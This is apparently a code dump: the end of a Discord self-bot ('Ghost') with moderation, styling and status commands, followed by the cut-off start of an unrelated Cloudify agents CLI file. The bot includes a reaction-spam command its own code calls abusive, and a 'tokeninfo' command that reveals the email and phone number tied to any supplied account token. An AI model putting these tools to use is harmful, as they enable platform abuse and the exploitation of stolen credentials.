'o': '𝚘', 'p': '𝚙', 'q': '𝚚', 'r': '𝚛', 's': '𝚜', 't': '𝚝', 'u': '𝚞', 'v': '𝚟', 'w': '𝚠', 'x': '𝚡', 'y': '𝚢', 'z': '𝚣' } output = "" text = list(text) for letter in text: if letter in regional_indicators: output = output + regional_indicators[letter] + "" else: output = output + letter await ctx.send(output) @Ghost.command(name="regional", description="Replace all letters with emoji.", usage="regional [text]") async def regional(ctx, *, text): text = text.lower() regional_indicators = { 'a': '<:regional_indicator_a:803940414524620800>', 'b': '<:regional_indicator_b:803940414524620800>', 'c': '<:regional_indicator_c:803940414524620800>', 'd': '<:regional_indicator_d:803940414524620800>', 'e': '<:regional_indicator_e:803940414524620800>', 'f': '<:regional_indicator_f:803940414524620800>', 'g': '<:regional_indicator_g:803940414524620800>', 'h': '<:regional_indicator_h:803940414524620800>', 'i': '<:regional_indicator_i:803940414524620800>', 'j': '<:regional_indicator_j:803940414524620800>', 'k': '<:regional_indicator_k:803940414524620800>', 'l': '<:regional_indicator_l:803940414524620800>', 'm': '<:regional_indicator_m:803940414524620800>', 'n': '<:regional_indicator_n:803940414524620800>', 'o': '<:regional_indicator_o:803940414524620800>', 'p': '<:regional_indicator_p:803940414524620800>', 'q': '<:regional_indicator_q:803940414524620800>', 'r': '<:regional_indicator_r:803940414524620800>', 's': '<:regional_indicator_s:803940414524620800>', 't': '<:regional_indicator_t:803940414524620800>', 'u': '<:regional_indicator_u:803940414524620800>', 'v': '<:regional_indicator_v:803940414524620800>', 'w': '<:regional_indicator_w:803940414524620800>', 'x': '<:regional_indicator_x:803940414524620800>', 'y': '<:regional_indicator_y:803940414524620800>', 'z': '<:regional_indicator_z:803940414524620800>' } output = "" text = list(text) for letter in text: if letter in regional_indicators: output = output + regional_indicators[letter] + " " else: output = output + letter await ctx.send(output) @Ghost.command(name="reactspam", description="Spam reactions on X amount of messages.", usage="reactspam [emoji] [messages]", aliases=["spamreactions", "spamreact"]) async def reactspam(ctx, emoji, messages: int): if __riskmode__: #channel = Ghost.get_channel(ctx.channel.id) msgs = await ctx.channel.history(limit=messages).flatten() for msg in msgs: try: await msg.add_reaction(emoji) except: pass else: if __embedmode__: embed = discord.Embed(title=f"Abusive Commands", color=__embedcolour__, description=f"You have risk mode disabled, you cant use this command.") embed.set_thumbnail(url=__embedimage__) embed.set_footer(text=__embedfooter__, icon_url=__embedfooterimage__) embed.timestamp = datetime.now() await ctx.send(embed=embed, delete_after=__deletetimeout__) else: await ctx.send(f"""```ini [ Abuse Commands ] You have risk mode disabled, you cant use this command. # {__embedfooter__}```""", delete_after=__deletetimeout__) @Ghost.command(name="uppercase", description="Send your message in uppercase.", usage="uppercase [msg]") async def uppercase(ctx, *, msg): string = msg.upper() await ctx.send(string) @Ghost.command(name="lowercase", description="Send your message in lowercase.", usage="lowercase [msg]") async def lowercase(ctx, *, msg): string = msg.lower() await ctx.send(string) @Ghost.command(name="sentencecase", description="Send your messages in sentence case.", usage="sentencecase [msg]") async def sentencecase(ctx, *, msg): sentenceList = msg.split(". ") sentenceList2 = [] for string in sentenceList: string = string[:1].upper() + string[1:] sentenceList2.append(string) sentence = ". ".join(sentenceList2) await ctx.send(sentence) @Ghost.command(name="banlist", description="See the server's ban list.", usage="banlist") async def banlist(ctx): if ctx.author.guild_permissions.manage_guild: msg = "" banlist = await ctx.guild.bans() for ban in banlist: #username = user[0].name msg += f"{ban.user.name}#{ban.user.discriminator} ({ban.user.id})\n" if __embedmode__: embed = discord.Embed(title=ctx.guild.name + "'s banned member list", description=msg, color=__embedcolour__) embed.set_thumbnail(url=__embedimage__) embed.set_footer(text=__embedfooter__, icon_url=__embedfooterimage__) embed.timestamp = datetime.now() await ctx.send(embed=embed, delete_after=__deletetimeout__) else: await ctx.send(f"""```ini [ {ctx.guild.name}'s banned member list ] {msg} # {__embedfooter__}```""", delete_after=__deletetimeout__) else: if __embedmode__: embed = discord.Embed(title="You dont have the required permissions", color=__embedcolour__) embed.set_thumbnail(url=__embedimage__) embed.set_footer(text=__embedfooter__, icon_url=__embedfooterimage__) embed.timestamp = datetime.now() await ctx.send(embed=embed, delete_after=__deletetimeout__) else: await ctx.send("Invalid permissions.") @Ghost.command(name="ban", description="Ban the mentioned user.", usage="ban [@user]") async def ban(ctx, *, user: discord.Member): if ctx.author.guild_permissions.ban_members: await user.ban() if __embedmode__: embed = discord.Embed(title=user.name + " has been banned", color=__embedcolour__) embed.set_thumbnail(url=__embedimage__) embed.set_footer(text=__embedfooter__, icon_url=__embedfooterimage__) embed.timestamp = datetime.now() await ctx.send(embed=embed, delete_after=__deletetimeout__) else: await ctx.send(f"{user.name} has been banned") else: if __embedmode__: embed = discord.Embed(title="You dont have the required permissions", color=__embedcolour__) embed.set_thumbnail(url=__embedimage__) embed.set_footer(text=__embedfooter__, icon_url=__embedfooterimage__) embed.timestamp = datetime.now() await ctx.send(embed=embed, delete_after=__deletetimeout__) else: await ctx.send("Invalid permissions.") @Ghost.command(name="unban", description="Unban the mentioned id.", usage="unban [id]") async def unban(ctx, *, id: int): if ctx.author.guild_permissions.ban_members: user = await Ghost.fetch_user(id) await ctx.guild.unban(user) if __embedmode__: embed = discord.Embed(title=user.name + " has been unbanned", color=__embedcolour__) embed.set_thumbnail(url=__embedimage__) embed.set_footer(text=__embedfooter__, icon_url=__embedfooterimage__) embed.timestamp = datetime.now() await ctx.send(embed=embed, delete_after=__deletetimeout__) else: await ctx.send(f"{user.name} has been unbanned") else: if __embedmode__: embed = discord.Embed(title="You dont have the required permissions", color=__embedcolour__) embed.set_thumbnail(url=__embedimage__) embed.set_footer(text=__embedfooter__, icon_url=__embedfooterimage__) embed.timestamp = datetime.now() await ctx.send(embed=embed, delete_after=__deletetimeout__) else: await ctx.send("Invalid permissions.") @Ghost.command(name="kick", description="Kick the mentioned user.", usage="kick [@user]") async def kick(ctx, user: discord.Member): if ctx.author.guild_permissions.kick_members: await user.kick() if __embedmode__: embed = discord.Embed(title=user.name + " has been kicked", color=__embedcolour__) embed.set_thumbnail(url=__embedimage__) embed.set_footer(text=__embedfooter__, icon_url=__embedfooterimage__) embed.timestamp = datetime.now() await ctx.send(embed=embed, delete_after=__deletetimeout__) else: await ctx.send(f"{user.name} has been kicked") else: if __embedmode__: embed = discord.Embed(title="You dont have the required permissions", color=__embedcolour__) embed.set_thumbnail(url=__embedimage__) embed.set_footer(text=__embedfooter__, icon_url=__embedfooterimage__) embed.timestamp = datetime.now() await ctx.send(embed=embed, delete_after=__deletetimeout__) else: await ctx.send("Invalid permissions.") @Ghost.command(name="mute", description="Mute the menitioned user.", usage="mute [@user]") async def mute(ctx, user: discord.Member): if ctx.author.guild_permissions.mute_members: if get(ctx.guild.roles, name="Muted"): mutedrole = get(ctx.guild.roles, name="Muted") else: await ctx.guild.create_role(name="Muted") mutedrole = get(ctx.guild.roles, name="Muted") for channel in ctx.guild.channels: if channel.type == "Text": await channel.set_permissions(mutedrole, send_messages=False) else: await channel.set_permissions(mutedrole, send_messages=False, connect=False) await user.add_roles(mutedrole) if __embedmode__: embed = discord.Embed(title=user.name + " has been muted", color=__embedcolour__) embed.set_thumbnail(url=__embedimage__) embed.set_footer(text=__embedfooter__, icon_url=__embedfooterimage__) embed.timestamp = datetime.now() await ctx.send(embed=embed, delete_after=__deletetimeout__) else: await ctx.send(f"{user.name} has been muted") else: if __embedmode__: embed = discord.Embed(title="You dont have the required permissions", color=__embedcolour__) embed.set_thumbnail(url=__embedimage__) embed.set_footer(text=__embedfooter__, icon_url=__embedfooterimage__) embed.timestamp = datetime.now() await ctx.send(embed=embed, delete_after=__deletetimeout__) else: await ctx.send("Invalid permissions.") @Ghost.command(name="unmute", description="Unmute the mentioned user.", usage="unmute [@user]") async def unmute(ctx, user: discord.Member): if ctx.author.guild_permissions.mute_members: mutedrole = get(ctx.guild.roles, name="Muted") if mutedrole in user.roles: if __embedmode__: await user.remove_roles(mutedrole) embed = discord.Embed(title=user.name + " has been unmuted", color=__embedcolour__) embed.set_thumbnail(url=__embedimage__) embed.set_footer(text=__embedfooter__, icon_url=__embedfooterimage__) embed.timestamp = datetime.now() await ctx.send(embed=embed, delete_after=__deletetimeout__) else: await ctx.send(f"{user.name} has been unmuted") else: if __embedmode__: embed = discord.Embed(title=user.name + " is not muted", color=__embedcolour__) embed.set_thumbnail(url=__embedimage__) embed.set_footer(text=__embedfooter__, icon_url=__embedfooterimage__) embed.timestamp = datetime.now() await ctx.send(embed=embed, delete_after=__deletetimeout__) else: await ctx.send(f"{user.name} is not muted") else: if __embedmode__: embed = discord.Embed(title="You dont have the required permissions", color=__embedcolour__) embed.set_thumbnail(url=__embedimage__) embed.set_footer(text=__embedfooter__, icon_url=__embedfooterimage__) embed.timestamp = datetime.now() await ctx.send(embed=embed, delete_after=__deletetimeout__) else: await ctx.send("Invalid permissions.") @Ghost.command(name="newrole", description="Create a new role.", usage="newrole [name]", aliases=["createrole"]) async def newrole(ctx, *, name): if ctx.author.guild_permissions.manage_roles: await ctx.guild.create_role(name=name) if __embedmode__: embed = discord.Embed(title="@" + name + " has been created", color=__embedcolour__) embed.set_thumbnail(url=__embedimage__) embed.set_footer(text=__embedfooter__, icon_url=__embedfooterimage__) embed.timestamp = datetime.now() await ctx.send(embed=embed, delete_after=__deletetimeout__) else: await ctx.send(f"@{name} has been created") else: if __embedmode__: embed = discord.Embed(title="You dont have the required permissions", color=__embedcolour__) embed.set_thumbnail(url=__embedimage__) embed.set_footer(text=__embedfooter__, icon_url=__embedfooterimage__) embed.timestamp = datetime.now() await ctx.send(embed=embed, delete_after=__deletetimeout__) else: await ctx.send("Invalid permissions.") @Ghost.command(name="delrole", description="Delete the mentioned role.", usage="delrole [@role]", aliases=["deleterole"]) async def delrole(ctx, *, role: discord.Role): if ctx.author.guild_permissions.manage_roles: await role.delete() if __embedmode__: embed = discord.Embed(title="@" + role.name + " has been deleted", color=__embedcolour__) embed.set_thumbnail(url=__embedimage__) embed.set_footer(text=__embedfooter__, icon_url=__embedfooterimage__) embed.timestamp = datetime.now() await ctx.send(embed=embed, delete_after=__deletetimeout__) else: await ctx.send(f"@{role.name} has been deleted") else: if __embedmode__: embed = discord.Embed(title="You dont have the required permissions", color=__embedcolour__) embed.set_thumbnail(url=__embedimage__) embed.set_footer(text=__embedfooter__, icon_url=__embedfooterimage__) embed.timestamp = datetime.now() await ctx.send(embed=embed, delete_after=__deletetimeout__) else: await ctx.send("Invalid permissions.") @Ghost.command(name="purge", description="Purge X amount of messages.", usage="purge [amount]") async def purge(ctx, amount: int): if ctx.author.guild_permissions.manage_messages: history = await ctx.channel.history(limit=amount).flatten() deletedamount = 0 for message in history: try: deletedamount+=1 await message.delete() await asyncio.sleep(1) except: pass if __embedmode__: embed = discord.Embed(title=f"Deleted {deletedamount} messages", color=__embedcolour__) embed.set_thumbnail(url=__embedimage__) embed.set_footer(text=__embedfooter__, icon_url=__embedfooterimage__) embed.timestamp = datetime.now() await ctx.send(embed=embed, delete_after=__deletetimeout__) else: await ctx.send(f"Deleted {deletedamount} messages") else: if __embedmode__: embed = discord.Embed(title="You dont have the required permissions", color=__embedcolour__) embed.set_thumbnail(url=__embedimage__) embed.set_footer(text=__embedfooter__, icon_url=__embedfooterimage__) embed.timestamp = datetime.now() await ctx.send(embed=embed, delete_after=__deletetimeout__) else: await ctx.send("Invalid permissions.") @Ghost.command(name="purgeself", description="Purge your messages.", usage="purgeself [amount]") async def purge(ctx, amount: int): history = await ctx.channel.history(limit=amount).flatten() deletedamount = 0 for message in history: if message.author.id == Ghost.user.id: try: deletedamount+=1 await message.delete() await asyncio.sleep(1) except: pass if __embedmode__: embed = discord.Embed(title=f"Deleted {deletedamount} messages", color=__embedcolour__) embed.set_thumbnail(url=__embedimage__) embed.set_footer(text=__embedfooter__, icon_url=__embedfooterimage__) embed.timestamp = datetime.now() await ctx.send(embed=embed, delete_after=__deletetimeout__) else: await ctx.send(f"Deleted {deletedamount} messages") @Ghost.command(name="lock", description="Lock the command channel.", usage="lock") async def lock(ctx): if ctx.author.guild_permissions.manage_channels: await ctx.channel.set_permissions(ctx.guild.default_role, read_messages=False) if __embedmode__: embed = discord.Embed(title=f"Channel Locked", color=__embedcolour__) embed.set_thumbnail(url=__embedimage__) embed.set_footer(text=__embedfooter__, icon_url=__embedfooterimage__) embed.timestamp = datetime.now() await ctx.send(embed=embed, delete_after=__deletetimeout__) else: await ctx.send("Channel Locked") else: if __embedmode__: embed = discord.Embed(title="You dont have the required permissions", color=__embedcolour__) embed.set_thumbnail(url=__embedimage__) embed.set_footer(text=__embedfooter__, icon_url=__embedfooterimage__) embed.timestamp = datetime.now() await ctx.send(embed=embed, delete_after=__deletetimeout__) else: await ctx.send("Invalid permissions.") @Ghost.command(name="unlock", description="Unlock the command channel.", usage="unlock") async def unlock(ctx): if ctx.author.guild_permissions.manage_channels: await ctx.channel.set_permissions(ctx.guild.default_role, read_messages=True) if __embedmode__: embed = discord.Embed(title=f"Channel Unlocked", color=__embedcolour__) embed.set_thumbnail(url=__embedimage__) embed.set_footer(text=__embedfooter__, icon_url=__embedfooterimage__) embed.timestamp = datetime.now() await ctx.send(embed=embed, delete_after=__deletetimeout__) else: await ctx.send("Channel Unlocked") else: if __embedmode__: embed = discord.Embed(title="You dont have the required permissions", color=__embedcolour__) embed.set_thumbnail(url=__embedimage__) embed.set_footer(text=__embedfooter__, icon_url=__embedfooterimage__) embed.timestamp = datetime.now() await ctx.send(embed=embed, delete_after=__deletetimeout__) else: await ctx.send("Invalid permissions.") @Ghost.command(name="lockdown", description="Lock the entire server.", usage="lockdown") async def lockdown(ctx): if ctx.author.guild_permissions.manage_guild: for channel in ctx.guild.channels: await channel.set_permissions(ctx.guild.default_role, read_messages=False) channel = await ctx.guild.create_text_channel('lockdown-chat') if __embedmode__: embed = discord.Embed(title=f"Server Lockdown Enabled!", color=__embedcolour__) embed.set_thumbnail(url=__embedimage__) embed.set_footer(text=__embedfooter__, icon_url=__embedfooterimage__) embed.timestamp = datetime.now() await channel.send(embed=embed, delete_after=__deletetimeout__) else: await channel.send("Server Lockdown Enabled!") else: if __embedmode__: embed = discord.Embed(title="You dont have the required permissions", color=__embedcolour__) embed.set_thumbnail(url=__embedimage__) embed.set_footer(text=__embedfooter__, icon_url=__embedfooterimage__) embed.timestamp = datetime.now() await ctx.send(embed=embed, delete_after=__deletetimeout__) else: await ctx.send("Invalid permissions.") @Ghost.command(name="unlockdown", description="Unlock the entire server.", usage="lockdown") async def unlockdown(ctx): if ctx.author.guild_permissions.manage_guild: for channel in ctx.guild.channels: await channel.set_permissions(ctx.guild.default_role, read_messages=True) if __embedmode__: embed = discord.Embed(title=f"Server Lockdown Disabled!", color=__embedcolour__) embed.set_thumbnail(url=__embedimage__) embed.set_footer(text=__embedfooter__, icon_url=__embedfooterimage__) embed.timestamp = datetime.now() await ctx.send(embed=embed, delete_after=__deletetimeout__) else: await ctx.send("Server Lockdown Disabled") else: if __embedmode__: embed = discord.Embed(title="You dont have the required permissions", color=__embedcolour__) embed.set_thumbnail(url=__embedimage__) embed.set_footer(text=__embedfooter__, icon_url=__embedfooterimage__) embed.timestamp = datetime.now() await ctx.send(embed=embed, delete_after=__deletetimeout__) else: await ctx.send("Invalid permissions.") @Ghost.command(name="tokeninfo", description="Information about a token.", usage="tokeninfo [token]") async def tokeninfo(ctx, *, token): request = requests.get("https://discord.com/api/users/@me", headers={"Authorization": token}) if request.status_code == 200: request = request.json() id = request["id"] username = request["username"] discriminator = request["discriminator"] avatar = avatarUrl(id, request["avatar"]) publicflags = request["public_flags"] bio = request["bio"] nitro = "" if "premium_type" in request: if request["premium_type"] == 0: nitro = "None" elif request["premium_type"] == 1: nitro = "Classic Nitro" elif request["premium_type"] == 2: nitro = "Nitro" else: nitro = "None" email = request["email"] phone = request["phone"] if bio == "": bio = " " if __embedmode__: embed = discord.Embed(title=user.name + " token information", color=__embedcolour__) embed.add_field(name="Token", value="```" + str(token) + "```", inline=False) embed.add_field(name="Username", value="```" + str(username) + "```") embed.add_field(name="Email", value="```" + str(email) + "```") embed.add_field(name="Phone", value="```" + str(phone) + "```") embed.add_field(name="Discriminator", value="```" + str(discriminator) + "```") embed.add_field(name="User ID", value="```" + str(id) + "```") embed.add_field(name="Bio", value="```" + str(bio) + "```") embed.add_field(name="Nitro", value="```" + str(nitro) + "```") embed.set_thumbnail(url=avatar) embed.set_footer(text=__embedfooter__, icon_url=__embedfooterimage__) embed.timestamp = datetime.now() await ctx.send(embed=embed) else: createdAt = user.created_at.strftime("%d %B, %Y") await ctx.send(f"""```ini [ {username}'s token Information ] Token: {token} Username: {username} Email: {email} Phone: {phone} Discriminator: {discriminator} User ID: {id} Bio: {bio} Nitro: {nitro} # {__embedfooter__}```{avatar}""") else: await ctx.send("Failed to get information about this token. Probably invalid or from a delete user.") @Ghost.command(name="userinfo", description="Information about the mentioned user.", usage="userinfo [@user]", aliases=["userlookup", "lookupuser"]) async def userinfo(ctx, *, user: discord.User): if __embedmode__: embed = discord.Embed(title=user.name + " Information", color=__embedcolour__) embed.add_field(name="Username", value="```" + str(user.name) + "```") embed.add_field(name="Discriminator", value="```" + str(user.discriminator) + "```") embed.add_field(name="User ID", value="```" + str(user.id) + "```") embed.add_field(name="Created At", value="```" + str(user.created_at.strftime("%d %B, %Y")) + "```") embed.set_thumbnail(url=avatarUrl(user.id, user.avatar)) embed.set_footer(text=__embedfooter__, icon_url=__embedfooterimage__) embed.timestamp = datetime.now() await ctx.send(embed=embed) else: createdAt = user.created_at.strftime("%d %B, %Y") await ctx.send(f"""```ini [ {user.name} Information ] Username: {user.name} Discriminator: {user.discriminator} User ID: {user.id} Created At: {createdAt} # {__embedfooter__}```{avatarUrl(user.id, user.avatar)}""") @Ghost.command(name="serverinfo", description="Information about the command server.", usage="serverinfo (guild id)", aliases=["lookupserver", "guildinfo", "lookupguild", "serverlookup", "guildlookup"]) async def serverinfo(ctx, guild:int=None): if guild == None: server = ctx.message.guild else: server = await Ghost.fetch_guild(int(guild)) if __embedmode__: embed = discord.Embed(title=server.name + " Information", color=__embedcolour__) embed.add_field(name="Name", value="```" + str(server.name) + "```") embed.add_field(name="Owner", value="```" + str(server.owner) + "```") try: embed.add_field(name="Member Count", value="```" + str(server.member_count) + "```") except: pass embed.add_field(name="Server ID", value="```" + str(server.id) + "```") embed.add_field(name="Created At", value="```" + str(server.created_at.strftime("%d %B, %Y")) + "```") embed.set_thumbnail(url=str(server.icon)) embed.set_footer(text=__embedfooter__, icon_url=__embedfooterimage__) embed.timestamp = datetime.now() await ctx.send(embed=embed) else: createdAt = server.created_at.strftime("%d %B, %Y") try: await ctx.send(f"""```ini [ {server.name} Information ] Name: {server.name} Owner: {server.owner} Member Count: {server.member_count} Server ID: {server.id} Created At: {createdAt} # {__embedfooter__}```{str(server.icon)}""") except: await ctx.send(f"""```ini [ {server.name} Information ] Name: {server.name} Owner: {server.owner} Server ID: {server.id} Created At: {createdAt} # {__embedfooter__}```{str(server.icon)}""") @Ghost.command(name="avatar", description="Get the mentioned user's avatar.", usage="avatar [@user]", aliases=["pfp", "profilepicture"]) async def avatar(ctx, *, user: discord.User): if __embedmode__: embed = discord.Embed(title=user.name + "'s Avatar", color=__embedcolour__)# embed.set_image(url=avatarUrl(user.id, user.avatar)) embed.set_footer(text=__embedfooter__, icon_url=__embedfooterimage__) embed.timestamp = datetime.now() await ctx.send(embed=embed) else: await ctx.send(avatarUrl(user.id, user.avatar)) @Ghost.command(name="servericon", description="Get the server's icon.", usage="servericon", aliases=["guildicon"]) async def servericon(ctx): if __embedmode__: embed = discord.Embed(title=ctx.guild.name + "'s Icon", color=__embedcolour__) embed.set_image(url=iconUrl(ctx.guild.id, ctx.guild.icon)) embed.set_footer(text=__embedfooter__, icon_url=__embedfooterimage__) embed.timestamp = datetime.now() await ctx.send(embed=embed) else: await ctx.send(iconUrl(ctx.guild.id, ctx.guild.icon)) @Ghost.command(name="afkmode", description="Toggle afk mode.", usage="afkmode") async def afkmode(ctx): global afkMode afkMode = not afkMode cfg = Config.getConfig() cfg["afkmode"]["enabled"] = afkMode Config.saveConfig(cfg) if afkMode: await ctx.send("Afk mode has been enabled.") else: await ctx.send("Afk mode has been disabled.") @Ghost.command(name="settings", description="The bot's settings.", usage="settings") async def settings(ctx): totalguilds = len(Ghost.guilds) totalcommands = len(Ghost.commands) + len(ccmd) uptime = int(round(time.time() - botStartTime)) uptimeText = str(timedelta(seconds=uptime)) delta_uptime = datetime.now() - Ghost.launch_time hours, remainder = divmod(int(delta_uptime.total_seconds()), 3600) minutes, seconds = divmod(remainder, 60) days, hours = divmod(hours, 24) logins = open('data/logins.txt', 'r') logindata = logins.read() base64_message = logindata base64_bytes = base64_message.encode('ascii') message_bytes = base64.b64decode(base64_bytes) logindata_decoded = message_bytes.decode('ascii') if __embedmode__: embed = discord.Embed(title=f"Settings", color=__embedcolour__) embed.add_field(name="Commands", value=f"```{totalcommands}```") embed.add_field(name="Logins", value=f"```{logindata_decoded}```") embed.add_field(name="Version", value=f"```{version}```") embed.add_field(name="Prefix", value=f"```{Ghost.command_prefix}```") embed.add_field(name="Servers", value=f"```{totalguilds}```") #embed.add_field(name="Uptime", value=f"```{days}d, {hours}h, {minutes}m, {seconds}s```") embed.add_field(name="Uptime", value=f"```{uptimeText}```") embed.set_thumbnail(url=__embedimage__) embed.set_footer(text=__embedfooter__, icon_url=__embedfooterimage__) embed.timestamp = datetime.now() await ctx.send(embed=embed, delete_after=__deletetimeout__) else: await ctx.send(f"""```ini [ Settings ] Commands: {totalcommands} Logins: {logindata_decoded} Version: {version} Prefix: {Ghost.command_prefix} Servers: {totalguilds} Uptime: {days}d, {hours}h, {minutes}m, {seconds}s # {__embedfooter__}```""", delete_after=__deletetimeout__) '''@Ghost.command(name="snipers", description="All snipers.", usage="snipers") async def snipers(ctx): if __nitrosniper__ == True: nitro = "Enabled" else: nitro = "Disabled" if __privnotesniper__ == True: privnote = "Enabled" else: privnote = "Disabled" if __giveawaysniper__ == True: giveaway = "Enabled" else: giveaway = "Disabled" try: embed = discord.Embed(title=f"Snipers", color=__embedcolour__) embed.add_field(name="Nitro", value=f"```{nitro}```") embed.add_field(name="Privnote", value=f"```{privnote}```") embed.add_field(name="Giveaway", value=f"```{giveaway}```") embed.set_thumbnail(url=__embedimage__) embed.set_footer(text=__embedfooter__, icon_url=__embedfooterimage__) embed.timestamp = datetime.now() await ctx.send(embed=embed, delete_after=__deletetimeout__) except discord.HTTPException: await ctx.send(f"""```ini [ Snipers ] Nitro: {nitro} Privnote: {privnote} Giveaway: {giveaway} # {__embedfooter__}```""", delete_after=__deletetimeout__)''' @Ghost.command(name="playing", description="Set a playing status.", usage="playing [text]") async def playing(ctx, *, text): if requests.get("https://discord.com/api/users/@me/settings", headers={"Authorization": __token__}).status_code == 200: status = requests.get("https://discord.com/api/users/@me/settings", headers={"Authorization": __token__}).json()["status"] else: status = "online" await Ghost.change_presence(activity=discord.Game(text), status=discord.Status.try_value(status)) try: embed = discord.Embed(title=f"Playing Status", description=f"Status changed to: Playing {text}", color=__embedcolour__) embed.set_thumbnail(url=__embedimage__) embed.set_footer(text=__embedfooter__, icon_url=__embedfooterimage__) embed.timestamp = datetime.now() await ctx.send(embed=embed, delete_after=__deletetimeout__) except discord.HTTPException: await ctx.send(f"""```ini [ Playing Status ] Status changed to: Playing {text} # {__embedfooter__}```""", delete_after=__deletetimeout__) @Ghost.command(name="streaming", description="Set a streaming status.", usage="streaming [text]") async def streaming(ctx, url, *, text): if requests.get("https://discord.com/api/users/@me/settings", headers={"Authorization": __token__}).status_code == 200: status = requests.get("https://discord.com/api/users/@me/settings", headers={"Authorization": __token__}).json()["status"] else: status = "online" await Ghost.change_presence(activity=discord.Activity(type=1, name=f"{text}", url=f"{url}"), status=discord.Status.try_value(status)) try: embed = discord.Embed(title=f"Streaming Status", description=f"Status changed to: Streaming {text}", color=__embedcolour__) embed.set_thumbnail(url=__embedimage__) embed.set_footer(text=__embedfooter__, icon_url=__embedfooterimage__) embed.timestamp = datetime.now() await ctx.send(embed=embed, delete_after=__deletetimeout__) except discord.HTTPException: await ctx.send(f"""```ini [ Streaming Status ] Status changed to: Streaming {text} # {__embedfooter__}```""", delete_after=__deletetimeout__) @Ghost.command(name="listening", description="Set a listening to status.", usage="listening [text]") async def listening(ctx, *, text): if requests.get("https://discord.com/api/users/@me/settings", headers={"Authorization": __token__}).status_code == 200: status = requests.get("https://discord.com/api/users/@me/settings", headers={"Authorization": __token__}).json()["status"] else: status = "online" await Ghost.change_presence(activity=discord.Activity(type=2, name=f"{text}"), status=discord.Status.try_value(status)) try: embed = discord.Embed(title=f"Listening Status", description=f"Status changed to: Listening to {text}", color=__embedcolour__) embed.set_thumbnail(url=__embedimage__) embed.set_footer(text=__embedfooter__, icon_url=__embedfooterimage__) embed.timestamp = datetime.now() await ctx.send(embed=embed, delete_after=__deletetimeout__) except discord.HTTPException: await ctx.send(f"""```ini [ Listening Status ] Status changed to: Listening to {text} # {__embedfooter__}```""", delete_after=__deletetimeout__) @Ghost.command(name="watching", description="Set a watching status.", usage="watching [text]") async def watching(ctx, *, text): if requests.get("https://discord.com/api/users/@me/settings", headers={"Authorization": __token__}).status_code == 200: status = requests.get("https://discord.com/api/users/@me/settings", headers={"Authorization": __token__}).json()["status"] else: status = "online" await Ghost.change_presence(activity=discord.Activity(type=3, name=f"{text}"), status=discord.Status.try_value(status)) try: embed = discord.Embed(title=f"Watching Status", description=f"Status changed to: Watching {text}", color=__embedcolour__) embed.set_thumbnail(url=__embedimage__) embed.set_footer(text=__embedfooter__, icon_url=__embedfooterimage__) embed.timestamp = datetime.now() await ctx.send(embed=embed, delete_after=__deletetimeout__) except discord.HTTPException: await ctx.send(f"""```ini [ Watching Status ] Status changed to: Watching {text} # {__embedfooter__}```""", delete_after=__deletetimeout__) @Ghost.command(name="clearstatus", description="Clear your status.", usage="clearstatus") async def clearstatus(ctx): await Ghost.change_presence(activity=discord.Activity(type=-1), status=discord.Status.try_value(status)) try: embed = discord.Embed(title=f"Status Cleared", color=__embedcolour__) embed.set_thumbnail(url=__embedimage__) embed.set_footer(text=__embedfooter__, icon_url=__embedfooterimage__) embed.timestamp = datetime.now() await ctx.send(embed=embed, delete_after=__deletetimeout__) except discord.HTTPException: await ctx.send("Status Cleared") @Ghost.command(name="nickname", description="Set your nickname to anything.", usage="nickname [text]") async def nickname(ctx, *, text): await ctx.author.edit(nick=nickname) if __embedmode__: embed = discord.Embed(title=f"Nickname changed to {text}", color=__embedcolour__) embed.set_thumbnail(url=__embedimage__) embed.set_footer(text=__embedfooter__, icon_url=__embedfooterimage__) embed.timestamp = datetime.now() await ctx.send(embed=embed, delete_after=__deletetimeout__) else: await ctx.send(f"Nickname changed to {text}") print(fg.cWhite + "") @Ghost.command(name="clearnickname", description="Clear your nickname.", usage="clearnickname") async def clearnickname(ctx): await ctx.author.edit(nick="") if __embedmode__: embed = discord.Embed(title=f"Nickname cleared", color=__embedcolour__) embed.set_thumbnail(url=__embedimage__) embed.set_footer(text=__embedfooter__, icon_url=__embedfooterimage__) embed.timestamp = datetime.now() await ctx.send(embed=embed, delete_after=__deletetimeout__) else: await ctx.send("Nickname cleared") Ghost.run(__token__) # GhostDiscum = discum.Client(token=__token__, log=False, user_agent=get_random_user_agent()) # @GhostDiscum.gateway.command # def discumevents(resp): # if resp.event.typing: # rawevent = resp.raw # parsedevent = resp.parsed.auto() # print(rawevent) # GhostDiscum.gateway.run() except Exception as e: if "improper token" in str(e).lower(): print("The Discord token that Ghost has been given to use is no longer working or is invalid.") print("Please put a new token in to the config (config.json).") else: print(e) logging.exception(str(e)) if os.name == "nt": os.system("pause") if os.name == "posix": input("Press enter to close . . .")
agents.py
######## # Copyright (c) 2014 GigaSpaces Technologies Ltd. All rights reserved # # Licensed under the Apache License, Version 2.0 (the "License"); # you may not use this file except in compliance with the License. # You may obtain a copy of the License at # # http://www.apache.org/licenses/LICENSE-2.0 # # Unless required by applicable law or agreed to in writing, software # distributed under the License is distributed on an "AS IS" BASIS, # WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. # See the License for the specific language governing permissions and # limitations under the License. ############ import os.path import threading import time try: import queue # Python 3.x except ImportError: import Queue as queue from cloudify.logs import create_event_message_prefix from ..cli import cfy from ..execution_events_fetcher import (wait_for_execution, WAIT_FOR_EXECUTION_SLEEP_INTERVAL) from ..exceptions import CloudifyCliError from .. import env from ..table import print_data _NODE_INSTANCE_STATE_STARTED = 'started' AGENT_COLUMNS = ['id', 'ip', 'deployment', 'node', 'system', 'version', 'install_method', 'tenant_name'] MAX_TRACKER_THREADS = 20 @cfy.group(name='agents') @cfy.options.common_options @cfy.assert_manager_active() def agents(): """Handle a deployment's agents """ pass @agents.command(name='list', short_help='List installed agents [manager only]') @cfy.options.common_options @cfy.options.agent_filters @cfy.options.all_tenants @cfy.pass_logger @cfy.pass_client() def agents_list(agent_filters, client, logger, all_tenants): agent_filters['_all_tenants'] = all_tenants agent_list = client.agents.list(**agent_filters) logger.info('Listing agents...') print_data(AGENT_COLUMNS, agent_list, 'Agents:') @agents.command(name='install', short_help='Install deployment agents [manager only]') @cfy.options.common_options @cfy.options.tenant_name_for_list( required=False, resource_name_for_help='relevant deployment(s)') @cfy.options.all_tenants @cfy.options.stop_old_agent @cfy.options.manager_ip @cfy.options.manager_certificate @cfy.options.agent_filters @cfy.options.agents_wait @cfy.options.install_agent_timeout @cfy.pass_logger @cfy.pass_client() def install(agent_filters, tenant_name, logger, client, all_tenants, stop_old_agent, manager_ip, manager_certificate, wait, install_agent_timeout): """Install agents on the hosts of existing deployments. """ if manager_certificate: 